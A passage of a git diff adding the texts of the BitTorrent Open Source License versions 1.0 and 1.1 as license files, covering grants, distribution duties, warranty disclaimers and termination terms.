+world-wide, royalty-free, non-exclusive license, subject to third party intellectual property claims, to do the
+following:
+
+ 1. Use, reproduce, modify, display, perform, sublicense and distribute any Modifications created by such
+Contributor or portions thereof, in both Source Code or as an executable program, either on an unmodified basis or as
+part of Derivative Works.
+
+ 2. Under claims of patents now or hereafter owned or controlled by Contributor, to make, use, sell, offer for
+sale, have made, and/or otherwise dispose of Modifications or portions thereof, but solely to the extent that any
+such claim is necessary to enable you to make, use, sell, offer for sale, have made, and/or otherwise dispose of
+Modifications or portions thereof or Derivative Works thereof.
+
+
+3. Exclusions From License Grant. Nothing in this License shall be deemed to grant any rights to trademarks,
+copyrights, patents, trade secrets or any other intellectual property of Licensor or any Contributor except as
+expressly stated herein. No patent license is granted separate from the Licensed Product, for code that you delete
+from the Licensed Product, or for combinations of the Licensed Product with other software or hardware. No right is
+granted to the trademarks of Licensor or any Contributor even if such marks are included in the Licensed Product.
+Nothing in this License shall be interpreted to prohibit Licensor from licensing under different terms from this
+License any code that Licensor otherwise would have a right to license.
+
+
+4. Your Obligations Regarding Distribution.
+
+a. Application of This License to Your Modifications. As an express condition for your use of the Licensed
+Product, you hereby agree that any Modifications that you create or to which you contribute, and which you
+distribute, are governed by the terms of this License including, without limitation, Section 2. Any Modifications
+that you create or to which you contribute may be distributed only under the terms of this License or a future
+version of this License released under Section 7. You must include a copy of this License with every copy of the
+Modifications you distribute. You agree not to offer or impose any terms on any Source Code or executable version of
+the Licensed Product or Modifications that alter or restrict the applicable version of this License or the
+recipients' rights hereunder. However, you may include an additional document offering the additional rights
+described in Section 4(d).
+
+b. Availability of Source Code. You must make available, under the terms of this License, the Source Code of
+the Licensed Product and any Modifications that you distribute, either on the same media as you distribute any
+executable or other form of the Licensed Product, or via a mechanism generally accepted in the software development
+community for the electronic transfer of data (an "Electronic Distribution Mechanism"). The Source Code for any
+version of Licensed Product or Modifications that you distribute must remain available for at least twelve (12)
+months after the date it initially became available, or at least six (6) months after a subsequent version of said
+Licensed Product or Modifications has been made available. You are responsible for ensuring that the Source Code
+version remains available even if the Electronic Distribution Mechanism is maintained by a third party.
+
+c. Intellectual Property Matters.
+
+ i. Third Party Claims. If you have knowledge that a license to a third
+party's intellectual property right is required to exercise the rights granted by this License, you must include a
+text file with the Source Code distribution titled "LEGAL" that describes the claim and the party making the claim in
+sufficient detail that a recipient will know whom to contact. If you obtain such knowledge after you make any
+Modifications available as described in Section 4(b), you shall promptly modify the LEGAL file in all copies you make
+available thereafter and shall take other steps (such as notifying appropriate mailing lists or newsgroups)
+reasonably calculated to inform those who received the Licensed Product from you that new knowledge has been
+obtained.
+
+ ii. Contributor APIs. If your Modifications include an application
+programming interface ("API") and you have knowledge of patent licenses that are reasonably necessary to implement
+that API, you must also include this information in the LEGAL file.
+
+ iii. Representations. You represent that, except as disclosed pursuant to
+4(c)(i) above, you believe that any Modifications you distribute are your original creations and that you have
+sufficient rights to grant the rights conveyed by this License.
+
+d. Required Notices. You must duplicate this License in any documentation you provide along with the Source
+Code of any Modifications you create or to which you contribute, and which you distribute, wherever you describe
+recipients' rights relating to Licensed Product. You must duplicate the notice contained in Exhibit A (the "Notice")
+in each file of the Source Code of any copy you distribute of the Licensed Product. If you created a Modification,
+you may add your name as a Contributor to the Notice. If it is not possible to put the Notice in a particular Source
+Code file due to its structure, then you must include such Notice in a location (such as a relevant directory file)
+where a user would be likely to look for such a notice. You may choose to offer, and charge a fee for, warranty,
+support, indemnity or liability obligations to one or more recipients of Licensed Product. However, you may do so
+only on your own behalf, and not on behalf of the Licensor or any Contributor. You must make it clear that any such
+warranty, support, indemnity or liability obligation is offered by you alone, and you hereby agree to indemnify the
+Licensor and every Contributor for any liability incurred by the Licensor or such Contributor as a result of
+warranty, support, indemnity or liability terms you offer.
+
+e. Distribution of Executable Versions. You may distribute Licensed Product as an executable program under a
+license of your choice that may contain terms different from this License provided (i) you have satisfied the
+requirements of Sections 4(a) through 4(d) for that distribution, (ii) you include a conspicuous notice in the
+executable version, related documentation and collateral materials stating that the Source Code version of the
+Licensed Product is available under the terms of this License, including a description of how and where you have
+fulfilled the obligations of Section 4(b), and (iii) you make it clear that any terms that differ from this License
+are offered by you alone, not by Licensor or any Contributor. You hereby agree to indemnify the Licensor and every
+Contributor for any liability incurred by Licensor or such Contributor as a result of any terms you offer.
+
+f. Distribution of Derivative Works. You may create Derivative Works (e.g., combinations of some or all of the
+Licensed Product with other code) and distribute the Derivative Works as products under any other license you select,
+with the proviso that the requirements of this License are fulfilled for those portions of the Derivative Works that
+consist of the Licensed Product or any Modifications thereto.
+
+
+5. Inability to Comply Due to Statute or Regulation. If it is impossible for you to comply with any of the
+terms of this License with respect to some or all of the Licensed Product due to statute, judicial order, or
+regulation, then you must (i) comply with the terms of this License to the maximum extent possible, (ii) cite the
+statute or regulation that prohibits you from adhering to the License, and (iii) describe the limitations and the
+code they affect. Such description must be included in the LEGAL file described in Section 4(d), and must be included
+with all distributions of the Source Code. Except to the extent prohibited by statute or regulation, such
+description must be sufficiently detailed for a recipient of ordinary skill at computer programming to be able to
+understand it.
+
+
+6. Application of This License. This License applies to code to which Licensor or Contributor has attached the
+Notice in Exhibit A, which is incorporated herein by this reference.
+
+
+7. Versions of This License.
+
+a. New Versions. Licensor may publish from time to time revised and/or new versions of the License.
+
+b. Effect of New Versions. Once Licensed Product has been published under a particular version of the License,
+you may always continue to use it under the terms of that version. You may also choose to use such Licensed Product
+under the terms of any subsequent version of the License published by Licensor. No one other than Licensor has the
+right to modify the terms applicable to Licensed Product created under this License.
+
+c. Derivative Works of this License. If you create or use a modified version of this License, which you may do
+only in order to apply it to software that is not already a Licensed Product under this License, you must rename your
+license so that it is not confusingly similar to this License, and must make it clear that your license contains
+terms that differ from this License. In so naming your license, you may not use any trademark of Licensor or any
+Contributor.
+
+
+8. Disclaimer of Warranty. LICENSED PRODUCT IS PROVIDED UNDER THIS LICENSE ON AN AS IS BASIS, WITHOUT WARRANTY
+OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING, WITHOUT LIMITATION, WARRANTIES THAT THE LICENSED PRODUCT IS FREE
+OF DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING. THE ENTIRE RISK AS TO THE QUALITY AND
+PERFORMANCE OF THE LICENSED PRODUCT IS WITH YOU. SHOULD LICENSED PRODUCT PROVE DEFECTIVE IN ANY RESPECT, YOU (AND
+NOT THE LICENSOR OR ANY OTHER CONTRIBUTOR) ASSUME THE COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. THIS
+DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF LICENSED PRODUCT IS AUTHORIZED
+HEREUNDER EXCEPT UNDER THIS DISCLAIMER.
+
+
+9. Termination.
+
+a. Automatic Termination Upon Breach. This license and the rights granted hereunder will terminate
+automatically if you fail to comply with the terms herein and fail to cure such breach within thirty (30) days of
+becoming aware of the breach. All sublicenses to the Licensed Product that are properly granted shall survive any
+termination of this license. Provisions that, by their nature, must remain in effect beyond the termination of this
+License, shall survive.
+
+b. Termination Upon Assertion of Patent Infringement. If you initiate litigation by asserting a patent
+infringement claim (excluding declaratory judgment actions) against Licensor or a Contributor (Licensor or
+Contributor against whom you file such an action is referred to herein as Respondent) alleging that Licensed Product
+directly or indirectly infringes any patent, then any and all rights granted by such Respondent to you under Sections
+1 or 2 of this License shall terminate prospectively upon sixty (60) days notice from Respondent (the "Notice
+Period") unless within that Notice Period you either agree in writing (i) to pay Respondent a mutually agreeable
+reasonably royalty for your past or future use of Licensed Product made by such Respondent, or (ii) withdraw your
+litigation claim with respect to Licensed Product against such Respondent. If within said Notice Period a reasonable
+royalty and payment arrangement are not mutually agreed upon in writing by the parties or the litigation claim is not
+withdrawn, the rights granted by Licensor to you under Sections 1 and 2 automatically terminate at the expiration of
+said Notice Period.
+
+c. Reasonable Value of This License. If you assert a patent infringement claim against Respondent alleging
+that Licensed Product directly or indirectly infringes any patent where such claim is resolved (such as by license or
+settlement) prior to the initiation of patent infringement litigation, then the reasonable value of the licenses
+granted by said Respondent under Sections 1 and 2 shall be taken into account in determining the amount or value of
+any payment or license.
+
+d. No Retroactive Effect of Termination. In the event of termination under Sections 9(a) or 9(b) above, all
+end user license agreements (excluding licenses to distributors and resellers) that have been validly granted by you
+or any distributor hereunder prior to termination shall survive termination.
+
+
+10. Limitation of Liability. UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT (INCLUDING NEGLIGENCE),
+CONTRACT, OR OTHERWISE, SHALL THE LICENSOR, ANY CONTRIBUTOR, OR ANY DISTRIBUTOR OF LICENSED PRODUCT, OR ANY SUPPLIER
+OF ANY OF SUCH PARTIES, BE LIABLE TO ANY PERSON FOR ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF
+ANY CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, COMPUTER FAILURE OR
+MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN INFORMED OF THE
+POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY
+RESULTING FROM SUCH PARTYS NEGLIGENCE TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO
+NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THIS EXCLUSION AND LIMITATION MAY
+NOT APPLY TO YOU.
+
+
+11. Responsibility for Claims. As between Licensor and Contributors, each party is responsible for claims and
+damages arising, directly or indirectly, out of its utilization of rights under this License. You agree to work with
+Licensor and Contributors to distribute such responsibility on an equitable basis. Nothing herein is intended or
+shall be deemed to constitute any admission of liability.
+
+
+12. U.S. Government End Users. The Licensed Product is a commercial item, as that term is defined in 48 C.F.R.
+2.101 (Oct. 1995), consisting of commercial computer software and commercial computer software documentation, as such
+terms are used in 48 C.F.R. 12.212 (Sept. 1995). Consistent with 48 C.F.R. 12.212 and 48 C.F.R. 227.7202-1 through
+227.7202-4 (June 1995), all U.S. Government End Users acquire Licensed Product with only those rights set forth
+herein.
+
+
+13. Miscellaneous. This License represents the complete agreement concerning the subject matter hereof. If any
+provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary
+to make it enforceable. This License shall be governed by California law provisions (except to the extent applicable
+law, if any, provides otherwise), excluding its conflict-of-law provisions. You expressly agree that any litigation
+relating to this license shall be subject to the jurisdiction of the Federal Courts of the Northern District of
+California or the Superior Court of the County of Santa Clara, California (as appropriate), with venue lying in Santa
+Clara County, California, with the losing party responsible for costs including, without limitation, court costs and
+reasonable attorneys fees and expenses. The application of the United Nations Convention on Contracts for the
+International Sale of Goods is expressly excluded. You and Licensor expressly waive any rights to a jury trial in
+any litigation concerning Licensed Product or this License. Any law or regulation that provides that the language of
+a contract shall be construed against the drafter shall not apply to this License.
+
+
+14. Definition of You in This License. You throughout this License, whether in upper or lower case, means an
+individual or a legal entity exercising rights under, and complying with all of the terms of, this License or a
+future version of this License issued under Section 7. For legal entities, you includes any entity that controls, is
+controlled by, or is under common control with you. For purposes of this definition, control means (i) the power,
+direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii)
+ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity.
+
+
+15. Glossary. All defined terms in this License that are used in more than one Section of this License are repeated
+here, in alphabetical order, for the convenience of the reader. The Section of this License in which each defined
+term is first used is shown in parentheses.
+
+Contributor: Each person or entity who created or contributed to the creation of, and distributed, a Modification.
+(See Section 2)
+
+Derivative Works: That term as used in this License is defined under U.S. copyright law. (See Section 1(b))
+
+License: This BitTorrent Open Source License. (See first paragraph of License)
+
+Licensed Product: Any BitTorrent Product licensed pursuant to this License. The term "Licensed Product" includes
+all previous Modifications from any Contributor that you receive. (See first paragraph of License and Section 2)
+
+Licensor: BitTorrent, Inc. (See first paragraph of License)
+
+Modifications: Any additions to or deletions from the substance or structure of (i) a file containing Licensed
+Product, or (ii) any new file that contains any part of Licensed Product. (See Section 2)
+
+Notice: The notice contained in Exhibit A. (See Section 4(e))
+
+Source Code: The preferred form for making modifications to the Licensed Product, including all modules contained
+therein, plus any associated interface definition files, scripts used to control compilation and installation of an
+executable program, or a list of differential comparisons against the Source Code of the Licensed Product. (See
+Section 1(a))
+
+You: This term is defined in Section 14 of this License.
+
+
+EXHIBIT A
+
+The Notice below must appear in each file of the Source Code of any copy you distribute of the Licensed Product or
+any hereto. Contributors to any Modifications may add their own copyright notices to identify their own
+contributions.
+
+License:
+
+The contents of this file are subject to the BitTorrent Open Source License Version 1.0 (the License). You may not
+copy or use this file, in either source code or executable form, except in compliance with the License. You may
+obtain a copy of the License at http://www.bittorrent.com/license/.
+
+Software distributed under the License is distributed on an AS IS basis, WITHOUT WARRANTY OF ANY KIND, either express
+or implied. See the License for the specific language governing rights and limitations under the License.
diff --git a/meta/files/common-licenses/BitTorrent-1.1 b/meta/files/common-licenses/BitTorrent-1.1
new file mode 100644
index 0000000000..fa5bd9df24
--- /dev/null
+++ b/meta/files/common-licenses/BitTorrent-1.1
@@ -0,0 +1,137 @@
+BitTorrent Open Source License
+Version 1.1
+
+This BitTorrent Open Source License (the "License") applies to the BitTorrent client and related software products as well as any updates or maintenance releases of that software ("BitTorrent Products") that are distributed by BitTorrent, Inc. ("Licensor"). Any BitTorrent Product licensed pursuant to this License is a Licensed Product. Licensed Product, in its entirety, is protected by U.S. copyright law. This License identifies the terms under which you may use, copy, distribute or modify Licensed Product.
+
+Preamble
+
+This Preamble is intended to describe, in plain English, the nature and scope of this License. However, this Preamble is not a part of this license. The legal effect of this License is dependent only upon the terms of the License and not this Preamble.
+
+This License complies with the Open Source Definition and is derived from the Jabber Open Source License 1.0 (the "JOSL"), which has been approved by Open Source Initiative. Sections 4(c) and 4(f)(iii) from the JOSL have been deleted.
+
+This License provides that:
+
+1. You may use or give away the Licensed Product, alone or as a component of an aggregate software distribution containing programs from several different sources. No royalty or other fee is required.
+
+2. Both Source Code and executable versions of the Licensed Product, including Modifications made by previous Contributors, are available for your use. (The terms "Licensed Product," "Modifications," "Contributors" and "Source Code" are defined in the License.)
+
+3. You are allowed to make Modifications to the Licensed Product, and you can create Derivative Works from it. (The term "Derivative Works" is defined in the License.)
+
+4. By accepting the Licensed Product under the provisions of this License, you agree that any Modifications you make to the Licensed Product and then distribute are governed by the provisions of this License. In particular, you must make the Source Code of your Modifications available to others free of charge and without a royalty.
+
+5. You may sell, accept donations or otherwise receive compensation for executable versions of a Licensed Product, without paying a royalty or other fee to the Licensor or any Contributor, provided that such executable versions contain your or another Contributor's material Modifications. For the avoidance of doubt, to the extent your executable version of a Licensed Product does not contain your or another Contributor's material Modifications, you may not sell, accept donations or otherwise receive compensation for such executable.
+
+You may use the Licensed Product for any purpose, but the Licensor is not providing you any warranty whatsoever, nor is the Licensor accepting any liability in the event that the Licensed Product doesn't work properly or causes you any injury or damages.
+
+6. If you sublicense the Licensed Product or Derivative Works, you may charge fees for warranty or support, or for accepting indemnity or liability obligations to your customers. You cannot charge for, sell, accept donations or otherwise receive compensation for the Source Code.
+
+7. If you assert any patent claims against the Licensor relating to the Licensed Product, or if you breach any terms of the License, your rights to the Licensed Product under this License automatically terminate.
+You may use this License to distribute your own Derivative Works, in which case the provisions of this License will apply to your Derivative Works just as they do to the original Licensed Product.
+
+Alternatively, you may distribute your Derivative Works under any other OSI-approved Open Source license, or under a proprietary license of your choice. If you use any license other than this License, however, you must continue to fulfill the requirements of this License (including the provisions relating to publishing the Source Code) for those portions of your Derivative Works that consist of the Licensed Product, including the files containing
+Modifications.
+
+New versions of this License may be published from time to time in connection with new versions of a Licensed Product or otherwise. You may choose to continue to use the license terms in this version of the License for the Licensed Product that was originally licensed hereunder, however, the new versions of this License will at all times apply to new versions of the Licensed Product released by Licensor after the release of the new version of this License. Only the Licensor has the right to change the License terms as they apply to the Licensed Product.
+
+This License relies on precise definitions for certain terms. Those terms are defined when they are first used, and the definitions are repeated for your convenience in a Glossary at the end of the License.
+
+License Terms
+
+1. Grant of License From Licensor. Subject to the terms and conditions of this License, Licensor hereby grants you a world-wide, royalty-free, non-exclusive license, subject to third party intellectual property claims, to do the following:
+
+ a. Use, reproduce, modify, display, perform, sublicense and distribute any Modifications created by a Contributor or portions thereof, in both Source Code or as an executable program, either on an unmodified basis or as part of Derivative Works.
+ b. Under claims of patents now or hereafter owned or controlled by Contributor, to make, use, sell, offer for sale, have made, and/or otherwise dispose of Modifications or portions thereof, but solely to the extent that any such claim is necessary to enable you to make, use, sell, offer for sale, have made, and/or otherwise dispose of Modifications or portions thereof or Derivative Works thereof.
+
+2. Grant of License to Modifications From Contributor. "Modifications" means any additions to or deletions from the substance or structure of (i) a file containing a Licensed Product, or (ii) any new file that contains any part of a Licensed Product. Hereinafter in this License, the term "Licensed Product" shall include all previous Modifications that you receive from any Contributor. Subject to the terms and conditions of this License, By application of the provisions in Section 4(a) below, each person or entity who created or contributed to the creation of, and distributed, a Modification (a "Contributor") hereby grants you a world-wide, royalty-free, non-exclusive license, subject to third party intellectual property claims, to do the following:
+
+ a. Use, reproduce, modify, display, perform, sublicense and distribute any Modifications created by such Contributor or portions thereof, in both Source Code or as an executable program, either on an unmodified basis or as part of Derivative Works.
+
+ b. Under claims of patents now or hereafter owned or controlled by Contributor, to make, use, sell, offer for sale, have made, and/or otherwise dispose of Modifications or portions thereof, but solely to the extent that any such claim is necessary to enable you to make, use, sell, offer for sale, have made, and/or otherwise dispose of Modifications or portions thereof or Derivative Works thereof.
+
+3. Exclusions From License Grant. Nothing in this License shall be deemed to grant any rights to trademarks, copyrights, patents, trade secrets or any other intellectual property of Licensor or any Contributor except as expressly stated herein. No patent license is granted separate from the Licensed Product, for code that you delete from the Licensed Product, or for combinations of the Licensed Product with other software or hardware. No right is granted to the trademarks of Licensor or any Contributor even if such marks are included in the Licensed Product. Nothing in this License shall be interpreted to prohibit Licensor from licensing under different terms from this License any code that Licensor otherwise would have a right to license. As an express condition for your use of the Licensed Product, you hereby agree that you will not, without the prior written consent of Licensor, use any trademarks, copyrights, patents, trade secrets or any other intellectual property of Licensor or any Contributor except as expressly stated herein. For the avoidance of doubt and without limiting the foregoing, you hereby agree that you will not use or display any trademark of Licensor or any Contributor in any domain name, directory filepath, advertisement, link or other reference to you in any manner or in any media.
+
+4. Your Obligations Regarding Distribution.
+
+ a. Application of This License to Your Modifications. As an express condition for your use of the Licensed Product, you hereby agree that any Modifications that you create or to which you contribute, and which you distribute, are governed by the terms of this License including, without limitation, Section 2. Any Modifications that you create or to which you contribute may be distributed only under the terms of this License or a future version of this License released under Section 7. You must include a copy of this License with every copy of the Modifications you distribute. You agree not to offer or impose any terms on any Source Code or executable version of the Licensed Product or Modifications that alter or restrict the applicable version of this License or the recipients' rights hereunder. However, you may include an additional document offering the additional rights described in Section 4(d).
+
+ b. Availability of Source Code. You must make available, without charge, under the terms of this License, the Source Code of the Licensed Product and any Modifications that you distribute, either on the same media as you distribute any executable or other form of the Licensed Product, or via a mechanism generally accepted in the software development community for the electronic transfer of data (an "Electronic Distribution Mechanism"). The Source Code for any version of Licensed Product or Modifications that you distribute must remain available for as long as any executable or other form of the Licensed Product is distributed by you. You are responsible for ensuring that the Source Code version remains available even if the Electronic Distribution Mechanism is maintained by a third party.
+
+ c. Intellectual Property Matters.
+
+ i. Third Party Claims. If you have knowledge that a license to a third party's intellectual property right is required to exercise the rights granted by this License, you must include a text file with the Source Code distribution titled "LEGAL" that describes the claim and the party making the claim in sufficient detail that a recipient will know whom to contact. If you obtain such knowledge after you make any Modifications available as described in Section 4(b), you shall promptly modify the LEGAL file in all copies you make available thereafter and shall take other steps (such as notifying appropriate mailing lists or newsgroups) reasonably calculated to inform those who received the Licensed Product from you that new knowledge has been obtained.
+ ii. Contributor APIs. If your Modifications include an application programming interface ("API") and you have knowledge of patent licenses that are reasonably necessary to implement that API, you must also include this information in the LEGAL file.
+ iii. Representations. You represent that, except as disclosed pursuant to 4(c)(i) above, you believe that any Modifications you distribute are your original creations and that you have sufficient rights to grant the rights conveyed by this License.
+
+ d. Required Notices. You must duplicate this License in any documentation you provide along with the Source Code of any Modifications you create or to which you contribute, and which you distribute, wherever you describe recipients' rights relating to Licensed Product. You must duplicate the notice contained in Exhibit A (the "Notice") in each file of the Source Code of any copy you distribute of the Licensed Product. If you created a Modification, you may add your name as a Contributor to the Notice. If it is not possible to put the Notice in a particular Source Code file due to its structure, then you must include such Notice in a location (such as a relevant directory file) where a user would be likely to look for such a notice. You may choose to offer, and charge a fee for, warranty, support, indemnity or liability obligations to one or more recipients of Licensed Product. However, you may do so only on your own behalf, and not on behalf of the Licensor or any Contributor. You must make it clear that any such warranty, support, indemnity or liability obligation is offered by you alone, and you hereby agree to indemnify the Licensor and every Contributor for any liability incurred by the Licensor or such Contributor as a result of warranty, support, indemnity or liability terms you offer.
+
+ e. Distribution of Executable Versions. You may distribute Licensed Product as an executable program under a license of your choice that may contain terms different from this License provided (i) you have satisfied the requirements of Sections 4(a) through 4(d) for that distribution, (ii) you include a conspicuous notice in the executable version, related documentation and collateral materials stating that the Source Code version of the Licensed Product is available under the terms of this License, including a description of how and where you have fulfilled the obligations of Section 4(b), and (iii) you make it clear that any terms that differ from this License are offered by you alone, not by Licensor or any Contributor. You hereby agree to indemnify the Licensor and every Contributor for any liability incurred by Licensor or such Contributor as a result of any terms you offer.
+
+ f. Distribution of Derivative Works. You may create Derivative Works (e.g., combinations of some or all of the Licensed Product with other code) and distribute the Derivative Works as products under any other license you select, with the proviso that the requirements of this License are fulfilled for those portions of the Derivative Works that consist of the Licensed Product or any Modifications thereto.
+
+ g. Compensation for Distribution of Executable Versions of Licensed Products, Modifications or Derivative Works. Notwithstanding any provision of this License to the contrary, by distributing, selling, licensing, sublicensing or otherwise making available any Licensed Product, or Modification or Derivative Work thereof, you and Licensor hereby acknowledge and agree that you may sell, license or sublicense for a fee, accept donations or otherwise receive compensation for executable versions of a Licensed Product, without paying a royalty or other fee to the Licensor or any other Contributor, provided that such executable versions (i) contain your or another Contributor's material Modifications, or (ii) are otherwise material Derivative Works. For purposes of this License, an executable version of the Licensed Product will be deemed to contain a material Modification, or will otherwise be deemed a material Derivative Work, if (a) the Licensed Product is modified with your own or a third party's software programs or other code, and/or the Licensed Product is combined with a number of your own or a third party's software programs or code, respectively, and (b) such software programs or code add or contribute material value, functionality or features to the License Product. For the avoidance of doubt, to the extent your executable version of a Licensed Product does not contain your or another Contributor's material Modifications or is otherwise not a material Derivative Work, in each case as contemplated herein, you may not sell, license or sublicense for a fee, accept donations or otherwise receive compensation for such executable. Additionally, without limitation of the foregoing and notwithstanding any provision of this License to the contrary, you cannot charge for, sell, license or sublicense for a fee, accept donations or otherwise receive compensation for the Source Code.
+
+5. Inability to Comply Due to Statute or Regulation. If it is impossible for you to comply with any of the terms of this License with respect to some or all of the Licensed Product due to statute, judicial order, or regulation, then you must (i) comply with the terms of this License to the maximum extent possible, (ii) cite the statute or regulation that prohibits you from adhering to the License, and (iii) describe the limitations and the code they affect. Such description must be included in the LEGAL file described in Section 4(d), and must be included with all distributions of the Source Code. Except to the extent prohibited by statute or regulation, such description must be sufficiently detailed for a recipient of ordinary skill at computer programming to be able to understand it.
+
+6. Application of This License. This License applies to code to which Licensor or Contributor has attached the Notice in Exhibit A, which is incorporated herein by this reference.
+
+7. Versions of This License.
+
+ a. New Versions. Licensor may publish from time to time revised and/or new versions of the License.
+
+ b. Effect of New Versions. Once Licensed Product has been published under a particular version of the License, you may always continue to use it under the terms of that version, provided that any such license be in full force and effect at the time, and has not been revoked or otherwise terminated. You may also choose to use such Licensed Product under the terms of any subsequent version (but not any prior version) of the License published by Licensor. No one other than Licensor has the right to modify the terms applicable to Licensed Product created under this License.
+
+ c. Derivative Works of this License. If you create or use a modified version of this License, which you may do only in order to apply it to software that is not already a Licensed Product under this License, you must rename your license so that it is not confusingly similar to this License, and must make it clear that your license contains terms that differ from this License. In so naming your license, you may not use any trademark of Licensor or any Contributor.
+
+8. Disclaimer of Warranty. LICENSED PRODUCT IS PROVIDED UNDER THIS LICENSE ON AN AS IS BASIS, WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING, WITHOUT LIMITATION, WARRANTIES THAT THE LICENSED PRODUCT IS FREE OF DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE LICENSED PRODUCT IS WITH YOU. SHOULD LICENSED PRODUCT PROVE DEFECTIVE IN ANY RESPECT, YOU (AND NOT THE LICENSOR OR ANY OTHER CONTRIBUTOR) ASSUME THE COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF LICENSED PRODUCT IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.
+
+9. Termination.
+
+ a. Automatic Termination Upon Breach. This license and the rights granted hereunder will terminate automatically if you fail to comply with the terms herein and fail to cure such breach within ten (10) days of being notified of the breach by the Licensor. For purposes of this provision, proof of delivery via email to the address listed in the 'WHOIS' database of the registrar for any website through which you distribute or market any Licensed Product, or to any alternate email address which you designate in writing to the Licensor, shall constitute sufficient notification. All sublicenses to the Licensed Product that are properly granted shall survive any termination of this license so long as they continue to complye with the terms of this License. Provisions that, by their nature, must remain in effect beyond the termination of this License, shall survive.
+
+ b. Termination Upon Assertion of Patent Infringement. If you initiate litigation by asserting a patent infringement claim (excluding declaratory judgment actions) against Licensor or a Contributor (Licensor or Contributor against whom you file such an action is referred to herein as Respondent) alleging that Licensed Product directly or indirectly infringes any patent, then any and all rights granted by such Respondent to you under Sections 1 or 2 of this License shall terminate prospectively upon sixty (60) days notice from Respondent (the "Notice Period") unless within that Notice Period you either agree in writing (i) to pay Respondent a mutually agreeable reasonably royalty for your past or future use of Licensed Product made by such Respondent, or (ii) withdraw your litigation claim with respect to Licensed Product against such Respondent. If within said Notice Period a reasonable royalty and payment arrangement are not mutually agreed upon in writing by the parties or the litigation claim is not withdrawn, the rights granted by Licensor to you under Sections 1 and 2 automatically terminate at the expiration of said Notice Period.
+
+ c. Reasonable Value of This License. If you assert a patent infringement claim against Respondent alleging that Licensed Product directly or indirectly infringes any patent where such claim is resolved (such as by license or settlement) prior to the initiation of patent infringement litigation, then the reasonable value of the licenses granted by said Respondent under Sections 1 and 2 shall be taken into account in determining the amount or value of any payment or license.
+
+ d. No Retroactive Effect of Termination. In the event of termination under Sections 9(a) or 9(b) above, all end user license agreements (excluding licenses to distributors and resellers) that have been validly granted by you or any distributor hereunder prior to termination shall survive termination.
+
+10. Limitation of Liability. UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT (INCLUDING NEGLIGENCE), CONTRACT, OR OTHERWISE, SHALL THE LICENSOR, ANY CONTRIBUTOR, OR ANY DISTRIBUTOR OF LICENSED PRODUCT, OR ANY SUPPLIER OF ANY OF SUCH PARTIES, BE LIABLE TO ANY PERSON FOR ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY RESULTING FROM SUCH PARTYS NEGLIGENCE TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THIS EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU.
+
+11. Responsibility for Claims. As between Licensor and Contributors, each party is responsible for claims and damages arising, directly or indirectly, out of its utilization of rights under this License. You agree to work with Licensor and Contributors to distribute such responsibility on an equitable basis. Nothing herein is intended or shall be deemed to constitute any admission of liability.
+
+12. U.S. Government End Users. The Licensed Product is a commercial item, as that term is defined in 48 C.F.R. 2.101 (Oct. 1995), consisting of commercial computer software and commercial computer software documentation, as such terms are used in 48 C.F.R. 12.212 (Sept. 1995). Consistent with 48 C.F.R. 12.212 and 48 C.F.R. 227.7202-1 through 227.7202-4 (June 1995), all U.S. Government End Users acquire Licensed Product with only those rights set forth herein.
+
+13. Miscellaneous. This License represents the complete agreement concerning the subject matter hereof. If any provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable. This License shall be governed by California law provisions (except to the extent applicable law, if any, provides otherwise), excluding its conflict-of-law provisions. You expressly agree that in any litigation relating to this license the losing party shall be responsible for costs including, without limitation, court costs and reasonable attorneys fees and expenses. The application of the United Nations Convention on Contracts for the International Sale of Goods is expressly excluded. Any law or regulation that provides that the language of a contract shall be construed against the drafter shall not apply to this License.
+
